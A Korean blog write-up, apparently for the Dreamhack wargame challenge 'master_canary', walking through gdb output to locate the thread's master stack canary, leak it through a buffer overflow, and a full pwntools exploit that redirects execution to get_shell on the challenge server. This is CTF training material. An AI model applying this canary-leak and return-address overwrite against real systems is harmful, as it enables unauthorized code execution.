[Dreamhack Wargame] master_canary

don't panic·2023년 12월 12일
0

System Hacking wargame

목록 보기
19/39

code

checksec

1. buf와 마스터 카나리 사이 거리 구하기

(gdb) disass thread_routine
Dump of assembler code for function thread_routine:
   0x0000000000400a5b <+0>:     push   %rbp
   0x0000000000400a5c <+1>:     mov    %rsp,%rbp
   0x0000000000400a5f <+4>:     sub    $0x110,%rsp
   0x0000000000400a66 <+11>:    mov    %fs:0x28,%rax
   0x0000000000400a6f <+20>:    mov    %rax,-0x8(%rbp)
   0x0000000000400a73 <+24>:    xor    %eax,%eax
   0x0000000000400a75 <+26>:    lea    -0x110(%rbp),%rax
   0x0000000000400a7c <+33>:    mov    %rax,0x20162d(%rip)        # 0x6020b0 <global_buffer>
   0x0000000000400a83 <+40>:    nop
   0x0000000000400a84 <+41>:    mov    -0x8(%rbp),%rdx
   0x0000000000400a88 <+45>:    xor    %fs:0x28,%rdx
   0x0000000000400a91 <+54>:    je     0x400a98 <thread_routine+61>
   0x0000000000400a93 <+56>:    callq  0x400820 <__stack_chk_fail@plt>
   0x0000000000400a98 <+61>:    leaveq
   0x0000000000400a99 <+62>:    retq

그런데! 여기서 thread_routine 함수는 이미 끝났고, 스택이 사라졌기 때문에 변조를 할 수 없다.
따라서 thread_routine 함수에 중단점을 걸고 실행을 한 후 카나리 값을 찾는다. 그리고 마스터 카나리가 있을법한 주소들에서 카나리값을 찾아본다.

(gdb) x/x $rbp-0x110
0x7ffff77eee40: 0x00000000
(gdb) p/x $rbp-0x8
$1 = 0x7ffff77eef48
(gdb) x/4x $rbp-0x8
0x7ffff77eef48: 0x405e0800      0xbfc1907f      0x00000000      0x00000000
(gdb) x/100x $rbp+0x700
0x7ffff77ef650: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef660: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef670: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef680: 0x00000000      0x00000000      0xf7bb5420      0x00007fff
0x7ffff77ef690: 0xf77efdb8      0x00007fff      0x00000000      0x00000000
0x7ffff77ef6a0: 0xf79667e0      0x00007fff      0xf7966de0      0x00007fff
0x7ffff77ef6b0: 0xf79676e0      0x00007fff      0x00000000      0x00000000
0x7ffff77ef6c0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef6d0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef6e0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef6f0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef700: 0xf77ef700      0x00007fff      0x00603020      0x00000000
0x7ffff77ef710: 0xf77ef700      0x00007fff      0x00000001      0x00000000
0x7ffff77ef720: 0x00000000      0x00000000      0x405e0800      0xbfc1907f
0x7ffff77ef730: 0xfe71762b      0xfef79ec4      0x00000000      0x00000000
0x7ffff77ef740: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef750: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef760: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef770: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef780: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef790: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef7a0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef7b0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef7c0: 0x00000000      0x00000000      0x00000000      0x00000000
0x7ffff77ef7d0: 0x00000000      0x00000000      0x00000000      0x00000000
(gdb) p/x 0x7ffff77ef728-0x7ffff77eee40
$2 = 0x8e8
  • $fs_base+0x28인 마스터 카나리가 위치한 주소는 0x7ffff77ef728이다.
    그리고 buf의 주소는 0x7ffff77eee40이다.
  • 따라서 buf와의 거리는 0x8e8임을 알 수 있다.

2. canary leak

  • global_buffer을 0x8e9만큼 줘서 마스터 카나리를 읽을 수 있다.

3. RET->get_shell

  • commentmain에서 [rbp-0x30]에 위치한다.
  • 따라서 카나리를 우회하면서 RETget_shell로 바꾸는 payload를 작성하면 된다!

최종 exploit


from pwn import *

p = remote('host3.dreamhack.games', 14018)
e = ELF('./master_canary')
get_shell = e.symbols['get_shell']
buf2mc = 0x8e8

# create thread
p.sendlineafter(b'> ', b'1')

# Input
buf = b'A' * (buf2mc + 1)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Size: ', str(len(buf)))
p.sendlineafter(b'Data: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))

# comment
comment = b'A' * 0x28 + p64(canary)
comment += b'B' * 0x8 + p64(get_shell)
p.sendlineafter(b'> ', b'3')
p.sendafter(b'comment: ', comment)

p.interactive()

0개의 댓글